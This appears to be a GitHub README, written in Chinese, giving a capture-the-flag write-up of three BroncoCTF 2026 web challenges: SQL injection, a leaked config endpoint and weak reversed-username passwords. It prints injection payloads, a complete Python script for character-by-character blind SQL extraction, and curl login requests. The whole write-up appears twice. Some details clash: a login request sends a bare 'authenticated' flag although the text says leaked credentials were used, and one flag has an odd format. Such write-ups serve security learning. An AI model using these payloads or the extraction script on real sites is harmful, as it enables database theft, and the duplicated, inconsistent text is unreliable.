mool-djaj/BroncoCTF-2026-Web-Challenges-Writeup
GitHub: mool-djaj/BroncoCTF-2026-Web-Challenges-Writeup
该项目是 BroncoCTF 2026 中三道 Web 安全挑战赛的详细题解,涵盖 SQL 注入、信息泄露及弱认证漏洞的实战利用过程。
Stars: 0 | Forks: 0
[message.txt](https://github.com/user-attachments/files/29968900/message.txt)# BroncoCTF 2026 Web 挑战赛题解
本篇题解涵盖了 BroncoCTF 的三道 Web 挑战,每道题难度均为 10 分。这些解决方案展示了常见的 Web 漏洞:**SQL injection**、**暴露的 API endpoint** 以及 **信息泄露**。
## 挑战 1:Forbidden Archives
**类别:** Web – SQL Injection
**Flag:** (通过注入获取) – *替换为你实际的 flag*
### 信息收集
该挑战提供了一个搜索框,用于查询图书数据库。正常的搜索会返回公开的书籍;搜索被禁的书籍则没有任何结果。
测试常见的 SQL injection payload 显示,该应用程序存在 **Boolean‑based blind SQL injection** 漏洞。输入 `' OR '1'='1` 会产生语法错误,但 `') OR 1=1 --` 却成功生效。
### 寻找突破点
突破点 `')` 闭合了字符串和括号,允许我们注入自己的条件。
```
') AND 1=1 --
```
这返回了一本书,确认我们可以控制查询。
### 确认秘密数据行
我们注入了 `') AND EXISTS(SELECT 1 FROM books WHERE is_secret=1)--` 并收到了书籍结果。这证实了:
- 该表名为 `books`。
- 有一个 `is_secret` 列用于标记被禁的书籍。
### 绕过过滤
由于我们可以控制 `WHERE` 子句,获取 flag 最简单的方法是强制查询直接返回该秘密数据行:
```
') AND is_secret = 1 LIMIT 1 --
```
**URL Encoded 格式:**
```
https://broncoctf-forbidden-archives.chals.io/?search=') AND is_secret = 1 LIMIT 1 --
```
这使得应用程序显示了包含 flag 的秘密书籍的详细信息。
### 备选方案 – 盲注提取(为了完整性)
如果直接显示不起作用,我们可以逐字符提取 flag:
```
') AND (SELECT SUBSTR(title, 1, 1) FROM books WHERE is_secret=1 LIMIT 1) = 'b' --
```
在找到更简单的方法之前,我们使用了这种方法发现了书名 `All_of_the_World_s_Knowledge`。
## 使用的脚本 (Forbidden Archives)
```
import requests
import string
import time
url = "https://broncoctf-forbidden-archives.chals.io/"
FAILURE = "No public scrolls bear that name"
COLUMN = "title"
# 字符集 (添加任何缺失的符号(如果需要))
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!@#$%^&*()+=?/"
# ---------- 从位置 11 恢复 ----------
START_POS = 11
flag = "All_of_the" # already known
print(f"[+] Resuming from position {START_POS} with current flag: {flag}")
for pos in range(START_POS, 101): # max 100 chars
found = False
for ch in charset:
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '{ch}' --"
# Retry up to 3 times on connection errors
for attempt in range(3):
try:
response = requests.get(url, params={"search": payload}, timeout=5)
break
except (requests.ConnectionError, requests.Timeout):
print(f"[!] Network error, retrying in 1s (attempt {attempt+1})...")
time.sleep(1)
else:
print("[!] Max retries reached, skipping this character.")
continue
if FAILURE not in response.text:
flag += ch
print(f"[+] Pos {pos}: '{ch}' → {flag}")
found = True
break
if not found:
# Try LIKE as fallback (case-insensitive)
for ch in charset:
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) LIKE '{ch}' --"
for attempt in range(3):
try:
response = requests.get(url, params={"search": payload}, timeout=5)
break
except (requests.ConnectionError, requests.Timeout):
time.sleep(1)
else:
continue
if FAILURE not in response.text:
flag += ch
print(f"[+] Pos {pos}: '{ch}' (via LIKE) → {flag}")
found = True
break
if not found:
# Check for closing brace '}' (common in CTF flags)
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '}}' --"
try:
response = requests.get(url, params={"search": payload}, timeout=5)
except:
print("[!] Network error on final check, skipping.")
continue
if FAILURE not in response.text:
flag += "}"
print(f"\n🎉 COMPLETE FLAG: {flag}")
break
else:
print(f"[!] No character found at position {pos}. Flag likely ends at {pos-1}.")
print(f"🎉 FINAL FLAG: {flag}")
break
# Small delay to avoid rate‑limiting
time.sleep(0.2)
```
### Flag
```
bronco{...}
```
bronco{y0u_d3f3@t3d_th3_h1gh_c0unc1l}
## 挑战 2:Super Secure Server
**类别:** Web – 信息泄露
**Flag:** `bronco{d0nt_3xp0se_p@ssw0rd5!}`
### 信息收集
登录页面是一个简单的 HTML 表单,它使用 JSON 凭证向 `/login` 发送 POST 请求。
查看页面源代码或使用浏览器的 Network 标签页,我们发现了一个向 `/api/config` 发送的请求,该请求返回了凭证。
### 漏洞利用
直接访问 `/api/config` 返回了一个 JSON 对象:
```
{
"username": "SuperSecretUser",
"password": "rji32orj932r3209r233sqmet4v2cxbns8"
}
```
然后我们使用这些凭证进行了登录。
### 登录请求
```
curl -X POST https://broncoctf-super-secure-server.chals.io/login \
-H "Content-Type: application/json" \
-d '{"authenticated": true}'
```
服务器重定向到 `/home`,并在那里显示了 flag。
### Flag
```
bronco{d0nt_3xp0se_p@ssw0rd5!}
```
## 挑战 3:Lovely Login
**类别:** Web – 信息泄露与弱认证
**Flag:** `bronco(R3v3rs1ng_1s_53cure)`
### 信息收集
登录页面是一个简单的表单,将 JSON 数据发送到 `/login`。
#### 步骤 1:检查 `robots.txt`
访问 `/robots.txt` 显示:
```
User-agent: *
Disallow: /security
# amVmZixzYXJhaCx hZG1pbixndWVzdA==
```
`Disallow` 提示指向了一个有趣的路径,并且该 Base64 字符串解码为:
```
jeff,sarah, admin,guest
```
这给了我们一个有效用户名列表:`jeff`、`sarah`、`admin`、`guest`。
#### 步骤 2:访问 `/security`
该页面包含:
这明确告诉了我们密码是如何生成的 —— **用户名的反转**。
### 漏洞利用
通过反转每个用户名来生成密码:
| 用户名 | 密码 (反转) |
|----------|----------------------|
| admin | nimda |
| jeff | ffej |
| sarah | haras |
| guest | tseug |
使用 `admin` / `nimda` 成功登录。
### 登录请求
```
curl -X POST https://broncoctf-lovely-login.chals.io/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"nimda"}'
```
服务器返回了一条带有 flag 的欢迎信息。

### Flag
```
bronco(R3v3rs1ng_1s_53cure)
```
## 使用的工具
- **Browser Developer Tools** – Network 标签页、Inspector
- **cURL** – 用于发送自定义请求
- **Base64 解码器** – 用于解码 `robots.txt` 中的字符串
- **Python**(可选) – 用于自动化 blind SQL 提取
## 经验教训
- **切勿在生产环境中暴露内部 endpoint**,例如 `/api/config` 或 `/security`。
- **Base64 不是加密** – 它很容易被逆向。
- 一旦了解了查询结构,**SQL injection** 通常可以通过简单的 payload 绕过。
- `robots.txt` 和隐藏页面中的**信息泄露**对攻击者来说可能是宝库。
*Happy Hacking!*
测试常见的 SQL injection payload 显示,该应用程序存在 **Boolean‑based blind SQL injection** 漏洞。输入 `' OR '1'='1` 会产生语法错误,但 `') OR 1=1 --` 却成功生效。
### 寻找突破点
突破点 `')` 闭合了字符串和括号,允许我们注入自己的条件。
```
') AND 1=1 --
```
这返回了一本书,确认我们可以控制查询。
### 确认秘密数据行
我们注入了 `') AND EXISTS(SELECT 1 FROM books WHERE is_secret=1)--` 并收到了书籍结果。这证实了:
- 该表名为 `books`。
- 有一个 `is_secret` 列用于标记被禁的书籍。
### 绕过过滤
由于我们可以控制 `WHERE` 子句,获取 flag 最简单的方法是强制查询直接返回该秘密数据行:
```
') AND is_secret = 1 LIMIT 1 --
```
**URL Encoded 格式:**
```
https://broncoctf-forbidden-archives.chals.io/?search=') AND is_secret = 1 LIMIT 1 --
```
这使得应用程序显示了包含 flag 的秘密书籍的详细信息。
### 备选方案 – 盲注提取(为了完整性)
如果直接显示不起作用,我们可以逐字符提取 flag:
```
') AND (SELECT SUBSTR(title, 1, 1) FROM books WHERE is_secret=1 LIMIT 1) = 'b' --
```
在找到更简单的方法之前,我们使用了这种方法发现了书名 `All_of_the_World_s_Knowledge`。
## 使用的脚本 (Forbidden Archives)
```
import requests
import string
import time
url = "https://broncoctf-forbidden-archives.chals.io/"
FAILURE = "No public scrolls bear that name"
COLUMN = "title"
# 字符集 (添加任何缺失的符号(如果需要))
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_{}-!@#$%^&*()+=?/"
# ---------- 从位置 11 恢复 ----------
START_POS = 11
flag = "All_of_the" # already known
print(f"[+] Resuming from position {START_POS} with current flag: {flag}")
for pos in range(START_POS, 101): # max 100 chars
found = False
for ch in charset:
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '{ch}' --"
# Retry up to 3 times on connection errors
for attempt in range(3):
try:
response = requests.get(url, params={"search": payload}, timeout=5)
break
except (requests.ConnectionError, requests.Timeout):
print(f"[!] Network error, retrying in 1s (attempt {attempt+1})...")
time.sleep(1)
else:
print("[!] Max retries reached, skipping this character.")
continue
if FAILURE not in response.text:
flag += ch
print(f"[+] Pos {pos}: '{ch}' → {flag}")
found = True
break
if not found:
# Try LIKE as fallback (case-insensitive)
for ch in charset:
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) LIKE '{ch}' --"
for attempt in range(3):
try:
response = requests.get(url, params={"search": payload}, timeout=5)
break
except (requests.ConnectionError, requests.Timeout):
time.sleep(1)
else:
continue
if FAILURE not in response.text:
flag += ch
print(f"[+] Pos {pos}: '{ch}' (via LIKE) → {flag}")
found = True
break
if not found:
# Check for closing brace '}' (common in CTF flags)
payload = f"') AND (SELECT SUBSTR({COLUMN}, {pos}, 1) FROM books WHERE is_secret=1 LIMIT 1) = '}}' --"
try:
response = requests.get(url, params={"search": payload}, timeout=5)
except:
print("[!] Network error on final check, skipping.")
continue
if FAILURE not in response.text:
flag += "}"
print(f"\n🎉 COMPLETE FLAG: {flag}")
break
else:
print(f"[!] No character found at position {pos}. Flag likely ends at {pos-1}.")
print(f"🎉 FINAL FLAG: {flag}")
break
# Small delay to avoid rate‑limiting
time.sleep(0.2)
```
### Flag
```
bronco{...}
```
bronco{y0u_d3f3@t3d_th3_h1gh_c0unc1l}
## 挑战 2:Super Secure Server
**类别:** Web – 信息泄露
**Flag:** `bronco{d0nt_3xp0se_p@ssw0rd5!}`
### 信息收集
登录页面是一个简单的 HTML 表单,它使用 JSON 凭证向 `/login` 发送 POST 请求。
查看页面源代码或使用浏览器的 Network 标签页,我们发现了一个向 `/api/config` 发送的请求,该请求返回了凭证。
### 漏洞利用
直接访问 `/api/config` 返回了一个 JSON 对象:
```
{
"username": "SuperSecretUser",
"password": "rji32orj932r3209r233sqmet4v2cxbns8"
}
```
然后我们使用这些凭证进行了登录。
### 登录请求
```
curl -X POST https://broncoctf-super-secure-server.chals.io/login \
-H "Content-Type: application/json" \
-d '{"authenticated": true}'
```
服务器重定向到 `/home`,并在那里显示了 flag。
### Flag
```
bronco{d0nt_3xp0se_p@ssw0rd5!}
```
## 挑战 3:Lovely Login
**类别:** Web – 信息泄露与弱认证
**Flag:** `bronco(R3v3rs1ng_1s_53cure)`
### 信息收集
登录页面是一个简单的表单,将 JSON 数据发送到 `/login`。
#### 步骤 1:检查 `robots.txt`
访问 `/robots.txt` 显示:
```
User-agent: *
Disallow: /security
# amVmZixzYXJhaCx hZG1pbixndWVzdA==
```
`Disallow` 提示指向了一个有趣的路径,并且该 Base64 字符串解码为:
```
jeff,sarah, admin,guest
```
这给了我们一个有效用户名列表:`jeff`、`sarah`、`admin`、`guest`。
#### 步骤 2:访问 `/security`
该页面包含:
这明确告诉了我们密码是如何生成的 —— **用户名的反转**。
### 漏洞利用
通过反转每个用户名来生成密码:
| 用户名 | 密码 (反转) |
|----------|----------------------|
| admin | nimda |
| jeff | ffej |
| sarah | haras |
| guest | tseug |
使用 `admin` / `nimda` 成功登录。
### 登录请求
```
curl -X POST https://broncoctf-lovely-login.chals.io/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"nimda"}'
```
服务器返回了一条带有 flag 的欢迎信息。

### Flag
```
bronco(R3v3rs1ng_1s_53cure)
```
## 使用的工具
- **Browser Developer Tools** – Network 标签页、Inspector
- **cURL** – 用于发送自定义请求
- **Base64 解码器** – 用于解码 `robots.txt` 中的字符串
- **Python**(可选) – 用于自动化 blind SQL 提取
## 经验教训
- **切勿在生产环境中暴露内部 endpoint**,例如 `/api/config` 或 `/security`。
- **Base64 不是加密** – 它很容易被逆向。
- 一旦了解了查询结构,**SQL injection** 通常可以通过简单的 payload 绕过。
- `robots.txt` 和隐藏页面中的**信息泄露**对攻击者来说可能是宝库。
*Happy Hacking!*标签:CISA项目, Web安全, Writeup, 蓝队分析, 逆向工具